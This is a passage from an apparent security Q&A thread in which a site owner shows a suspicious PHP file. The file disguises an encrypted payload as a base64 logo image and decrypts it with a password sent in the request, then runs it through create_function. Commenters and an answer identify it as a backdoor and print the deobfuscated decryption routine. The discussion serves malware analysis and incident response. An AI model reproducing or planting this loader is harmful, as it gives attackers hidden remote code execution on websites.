Ire5TH60B1YGDRt8s%4oFMMVjvdj9IN%edkrvDQerK3dlUjLonBxW9phnHTat4TYnVPuTl0W1yjakhxYZJwosQmAd1cT0GRtx8edhpwXthAnXddlOM7gd1F8WLI21ZmogxZkdXFG5fUaxb4yS+zD1bM4uuN3NWrcj0EkisXKNGDE2xJStI2hsQDejOZT+866GGAFCJTHsvaZjvppT9MXBNLoyvUToUEIjgDhWYo8hocI+zulZF9CtX3y6ZsfxkM3fV4soa8TqQl3j8tfMPxNzdtqSU%eIVTQ0wHZWZrlM3Ib86pkZVHUg8lrImrHjnvzMb+iuE3dwLH0D3bW0uivmIeCPyN8dkn7TVek3p74cJbjN+8%X8N2vUlwUxA2qcK+vBZ%8CuN1Zcnv1U6yLfUX0v%XthAP%YdDyg8UIpfdzDssx7mmFx0AQZmWXG15R72u%LBFqCNGqOExWeA%wlPpz3XToueNfYp7F5QPmxNzIqeBMkc+iZUClwn50x+Cd2Aee+j0mzTQ4obJ4oxe3hF9dOxoENdh6JSycRuUmFFAVJlDNvgWfoKdKdC7JeAHl8Y14avjlPFcLV03ygwVAdsvIFzpx7vLr2DQbK%IiNKcJUaBLtgVJhU9amiBOSJBKdvKBRg%vhKic%0cauZyVoEURVTi0hAk4YAPi47%SiNa+RoPHY8cZ2GjI0q6TPvABNElvKvJLGrStiGuyo7THYNLwG1RH4AQ0EwMQwrFhsWLWa4ri%F2WDOn+FtRAe6mr6Cj%YRE93TizhfSdrKEE0hxbYa1jBciwLuuPrHKpJVE%a6NmogvGGZiwRcOp6PT1YKh8+Rqr8gRduBCQrzATPPVQ8hLtT%n1cYNCLQdvO7QXVvuIM2LTzuuA12OIXhH5PXVTxOM4nDly%FqrJC13MsuDofeEjew5RramLCS8GObtVY7wE4VAIaWZGB5fuF4RsnzKaBQh0yCtlRUEF0efQxEGM9dy6pWZBxHkevkZn5AawGlmYUAimAoaRh0SPWOjlqExX0FWs3M2FYRUWFxfxLo0eYm9zo3OF3dIgfRHmCxqTOMmYNy56GnwA4X9fLUdsr4bdM1a3SJY7avn73ue+wOyoVaF5+ZqY8D2HwOA+mQc3z3+7nMij9v%KkEKSn3py7EQ%0b%LG6KeV+8capwJMP9YjQic7XBRqSdXWsObBiE6qk0OFMYJdr4LkKxQMwLvrsFqTyrIQF1rRGII7C4JG9NunoILrYOaoj8d2Mdsx4hntWgBdge2ljq8st5Dq57eMJVUBwG1ZrCeAptOgO8wfizVEw7DZmJI73JX9HSiA6UuP9jPg3qz2Tv%PmOFkUUzK%pwLDPfMZKvn6j8ErMgZ9XxWC%ScPBDB93BWqS5Kp8UZ2mJZz2gQjtYCoY2tAHzzV4cSipxJTokFavBllk7g+HPqn8h33wzzZNoTg8F+zfJJ1iGSRTc551p8pbuhO8d8TND+VVDYOnqdITjgQPJYdMvXHAldMUY+k0yUtyFV3XOfAVTAlY5CiwiiBxBA0mrWXVg6fFbj1RQ7KedKmaWEIrFvHIRi17dQd83hGnZ0%UKoehnE75kjVXyO6zzlQuBc05VutEPzqMLG4uCBxfQSPyqBRAbP5AZ7FKVGMldvCLCcaIBuhSUXtAiM1GMCPu1zlj2xEnjUmXBhZu73mIHIalkbtvho5hj+S9DVxe95dXgNLAAU7Y%Hfp+jlE2ZJv%XQKdnehJlnoWD8i8d0D+0t+p2EPjH5uSjkNDYNMrrP+ix+9YPV0C34Kam09D88BhNKEXO2CA%trSPWo+MQWtRJD1BPaKv4AcacgpR2qCmEsTQHmTDjFg6zQeZXbOE5Q8CDF7pXPZvHm%s0PIItqQlCaQhJfaeBZoOaXIN0blq5ZqwbIXvprMvxS+%7IXpeWlb%4M4KjTTCzpFflltNhn9sc4yHCnQ5rgEOlKAwX93rJMMypDUR6q9UYCIpSeBMvatRl+dR7txgC8FKcC9afcyJWtNXNT3WiVBBEvA86zfROI1APcc0dOQGfOL5GLAJABncAM7e7gxS+KU%GYoWkC4fv%PF8ERdwJ8jldkjErvu2vJvhycgilznNjdgZ2KeU68YH9ON9ODYoAqyimYcjdd6ho+n4ImbgDnSycrWFBYoA5fessyl+UXuiU%s8CE%sPbzErUdJckvhza5wfhF+KJLSpDI4FE2klymbIndj75hiYTV1oytNbSJBjaWTWL0WYsT8CqNmSeDf9GYG3m4eonFvgGHdKIDicJ5udIC%gfvPVycrbKe0b15rUzKZEHYuXdGAfV7rygCc%Q9xDKK57kCVY7YbdycZSaKHuMEzWw+SePxxtWM7WJ7nSao2WdEW1d1FBV0YvGoNhF4w2+AyW8j3RkixLyxpKstSUWAwmhPdIHy%eTjBqTh5kJTQvMnuSULcAtLj+ahD2hScga74aZJ5nIcaVGAZDc4RHx1RpN0gU1AErYPebHP1LpcHywyKEmF3%xzDGSGbn+FF3dAPDA85fMKV1xEfjqFh%xYfEoOGAfgJaq0rYXlDDusk97mfp5fQcMpHKlG%XQvq5nZlSoBHZMMA2qgDntGeGlfDVRzn2JyR1%XW0MJ7AxRnAShUG9ePAmQ%yrXqQJjoAYqG8NG926Q++dkckp5i+ZLEZhiziXlEahUiW49w5GzqY6P%PpuwADr0CplJ0mOPiO6oqHLW8d4yniGW%0mn02jExydF0z2%SuFRKN1AmQqNCeST6E3rpzQmvLitfEksHTwvrL2N97QxaZkD2%UdCGsfWoy2TTl%CWZ1XhOfJS10aF6h%SWV8sJCbuM8Ry3EcDaS+xNwV7D2P95yKikA7CK5+iV4mVS5zwkTV%Bz2wYpxzoGmbL0YPXKEWl8PE8XroGC95TFQzbQfjbYN1EHQ64Ib4fE1NPCT6wtQnfH+dIfn%PPI4%cgfY4nGcmBEhwJuOK+2IGnOrQuK3lOD+h3C7Z+cwlyoov1VyjnvCmLYm%7QjO8dfAYbx6xwaenhPVJ35uyBRAayKETiTj9QqEjUctOamg+XkHZ0devKzIQwYeTQyi%JKfKAvCCcFmBYlRYn6tRxq2zvd17v00z4h%CAQgKLr+fSB0C1bemk8%u7I+7fExZ8jq4MJEWOFmo7aa1jR%yoKnEwGzZvx%EYtaF71n68p9pvBbNbVKQyEi4nnzRIQfsxWnWAme69ekhIvYKwy6zhG%%srzerTETbyxG0gt6dqukwj3WDq5DhQXyXXZ0dr%Uuh7OYEIHjyB3anDL5Ukgk7cNP%NpAIkqUpzDjjMo4I%thq1A9q2o1g6WXUF2hf5903R93dVqmFBXjJwRYidv4JvFUWy7etuahwHXH6uWWQCEC47SkGe2MSELfZAp73sXYymUXm3VRKMvssWZ2RxImTjrjkg9aeU5u7VRcvRlztsQ+TYJiaYDt34NULKBbheWtMBjC5KrnLCKyHwXqCG3IeTrv%aAz6Kq5C3eKr0uthNadYK6mlq6b3Eqtudz+vbKzssphrM6LEI1nt2mHQsgjD3BD85oF6J7FvLBSndxwi4gCsGNdpbrDtSDNKFNQeODmWSTa5VUCuAk7HcEgLcGtoWT5ZC6t014o4U+lvjYqFqS1FMWEataSD8N1GRLnShwjAZEPqMcgYGTwr61yQioImriy5T+bVct227JKV5+ujZrR5am1AU0iHvnbfTcI2imFIWncBCbnAEq3FJxp3IkFzpEhmrvmvt5BhoUw++HbqeVfRnQyRTz9GZkIcYcKY1Wtvi7UwV5Zkmd8s8t1P9YNJZkksRpu+sY6GlhmuJUAcV+I+7EZQrBa9Yn4kc%8p8yj6oV+UGpFTAcR47Yog23gZmPFWQL9DoWG8JJlj7UvMlocoubDltF8v8Plo9LuI4+kwU78P0kGjUJW8UV%nOHCuTI4SBGpCqOeAbv3pcxx6T5wSEvLX+0X%jBNio7gx50lu4I8x4OVRbqwiDbyyQFNWROF7IQH4+vXhKzaAjCEJGpz4gPRDIGtA2ilEUh9xqxeNIDTuiyrSX2jNWvBDfN2Epvn2H4WfvdZ4za2n4ec4nSSo8E235Vw2oaUU72w1pCj3Q5HLdPl5Dp3eMwHHV8o3ZeKogjd9Wzh6ipAf3BFnnKdOTQ+3Fio7nbFlJzDCfjnR+APaqwnVUw%RP1OE+qQ3h%2x3M72uV4scEf2sVmCI9ojggRJP9B9B8jyb8bb4AIIKYgHUEdfYCgNbrNqnBiYHkB2BEGLNzXXZC6v7fraQY6Gkr0AR1BV8YBBk9tgO9mpSQI1Kurqw7DWF4q3HelVj0nqcFCSdE4hxcEDO9MMwq7slfr8PJb3p%uHaX5pcNo6CGwRP0zZbkeoYtc2kRbjeZUs2rU8Y745PE2VviRPAahr%52%PGbDYzik%mq87eaeQQos9beKeustGWUWxi96VmqOwGdNpmEi+LiMcSeDy6tcaVdXvxQJUQYs+0Q14N2%2M5JYhWwHjfUdzkmPS3CucrpVo%xQHaeXj0N5xAtnmbYEgLAmQjv4%N7bAYYIsjVauoncqP0B5aRVAJ+lUwJ6AADHaCwrQpZnz5kGcgqygMq8AKbSTJoJgAZanqiWUyEHquUkMHdNGJ1mgDx1azqFev4fR+fuXJ%cFNVDwYVHg+QVjhjP+sIVd4q60J7oQGrGMrB10evq9qu2FMgieZUiYsyBybLxnz22Xv5eAsOGur+XW6%jwaG2Ks%5u1tWsnysMpIEYv3k24d9sq9UXtDYq7nsso+lhYABu3Mwe18VuYcqiJDoBqVLvk%FFu0UhJ3I+ksKAHoqEFNDFpBZ9ciW+F8fjMbX+XYF6YFJJoFz3HK1lJ3v46cr2PNHINb5bnCu%HJh9FeKoosJlvAyOjP1FuzC0kopDcsSWHjMiCFUXK9VCnhINe9f0b9sOxzDr0NxzQ5sd%VPDJhTqwISQStkcLFH3mQwZjxYxTahcdOgPIDwr73H2fRMXwFEFGfYR9YQQ1Be+4FxhW6yL6ckM85SLnlVOpslUDerK%7xtcmVxWkYr3Pf4nsBIBPg1HTE%pz1qQejKouz3r5h6KGHN8xcYN3tRNCCk9a5EgSVLE06qU7UIuZ2t2BA%WWrf0lfYnLsmrx4dxDPuylhycFyjTnH0GblKQp0ByKWR%DZFbPw6WflqPfc6aYY03RDPeJgwrdaZorsY+L6UtmBA+H2tr1vg94u1YRc0GRCkOGwgtJ62USOKiMLzZVb6KZCZL1RYnWqFJpdNZ5JUt9xUqVJH8mB5UpWzgIMrwk5l6GNXQ2v0LMlzMMDY5SXB0ND2t+pdu42nk4UbCyDiNLOqj0GZgQBuCqjawtt9fuRFGc+UXJCX77K502hLxb3VOHHDF+lyIiwdE45uth15z81GSzjM3%RvMKKjnoMHEEip6iZgG7PjlThiwWre54O0FVaRJrDTV4JPI6fvhey55P1XbhJX1UA6R9hY5UqMx5Msknw1gUsoohpSoEPYR7GQimZSpmkVUUqyA9FAr7A8RY%T5fjg4UnQn6dbrecwctFBXvx30p8ou2M09kxeh4MidsYHyHSDdRSm3FgzWXJYkCk2yiyzTQPEoBCzuo454yB8odKb0dhao0PAutvqQS1Euq8sHib8qmihtsMWlRAYiBPfsYl8PsDAPyLLBJLFxSmOys%8gPDpGzgkMwzJXtqy%o9PSpQoY+Q9K3sV8jZ3AcLEHCWlzNo0lzjzk+tA0%kL6R+zvMKCW9LysMu8gSMH4bTpnHYXR5ZbRncNQeAIMRg0rvlfzcFXCADX5mdQ0zk5KUKl51dVPMjfkhRmdIOsjVLUP8z9P7qgcdOo2C2C5%5l7ji9T24h%taPnuAc8MQ30h%CJOsv64Fr5XSREfIACjK71+HWHFuKkkTm5HmgCihFaI8DrvQCzBjN9xgNx0av+jc8tefZLdATeDo4iGjF9TpQmHCULZBGmHevnRSqNYJMGwSoPcwOXMdLxGlM69l0MMIfk9Q**">';
preg_match('#<img src="data:image/png;base64,(.*)">#', $wp_default_logo, $logo_data);
$wp_kses_data = $logo_data[1];

$wpautop = pre_term_name( $wp_kses_data, $wp_nonce );

if( isset( $wpautop ) ){
    if( isset($_POST['_f_wp']) ) @setcookie( '_f_wp', $_POST['_f_wp'] );
    $shortcode_unautop = create_function( '', $wpautop );
    unset( $_f_wp, $wpautop );
    $shortcode_unautop();
}

echo $wp_auth_check;

?>

While there are canonical q&a regarding php obfuscation, as stated in the comments 'This isn't just obfuscation; there's encryption going on with a key not present in the page.' Which would make this question not a duplicate imo.

Thank you.

Jaume Mal
  • 123
  • 4
  • Why do you think this file is malicious? – Ghedipunk Aug 22 '19 at 20:59
  • It has a long base64 encoded string, which seems to be manipulated and related to that $POST call ... I am just a frontend amateur dev, but to me it looks this could be providing a form to upload a shell script or similar? I of course can be completely wrong, that is why I ask here. Thanks for answering – Jaume Mal Aug 22 '19 at 21:04
  • 1
    @ConorMancone This isn't just obfuscation; there's encryption going on with a key not present in the page. (Thankfully, it's home-grown encryption with a weakness that makes it breakable; namely that the keystream just becomes equal to the earlier plaintext once the key runs out.) – Joseph Sible-Reinstate Monica Aug 22 '19 at 22:18
  • Unfortunately, we cannot do malicous code review. As you can imagine, we'd be flooded with random code. – schroeder Aug 23 '19 at 06:34

1 Answers1

3

It's malicious. Everything about logos and stuff is misdirection. What it's really doing is taking the base64 string, decoding it, some other tricks for obfuscation, then running it through create_function and calling the function (which is the same as just evaling it).

For reference, here's a deobfuscated version of pre_term_name, showing that it's actually decrypting the malicious payload with the attacker-supplied password:

function decrypt_ciphertext( $obfuscated_ciphertext, $password ) {
    $ciphertext = base64_decode( str_replace( array ('%', '*'), array ('/', '='), $obfuscated_ciphertext ) );
    $encryption_key = md5( $password ). substr( md5( strrev( $password ) ), 0, strlen( $password ) );
    $plaintext = array();
    for ($i = 0; $i < strlen( $ciphertext ); $i++) {
        $ord = ord( $ciphertext[$i] ) - ord( $encryption_key[$i] );
        $plaintext[$i] = chr( $ord % 256 );
        $encryption_key .= $plaintext[$i];
    }
    return gzinflate( $plaintext );
}
  • Thank you for the answer. So you mean the string requires a password to decode, so I can't be sure what is it doing. If this was called, wouldn't it have left a mark in the log? Is it safe to assume they gained shell access via this script? And how would you reccomend, please, to check for further compromised files or parts of the system. This is a shared hosting, so although I can ssh, there is a lot that can't be run. Thanks again. – Jaume Mal Aug 22 '19 at 21:48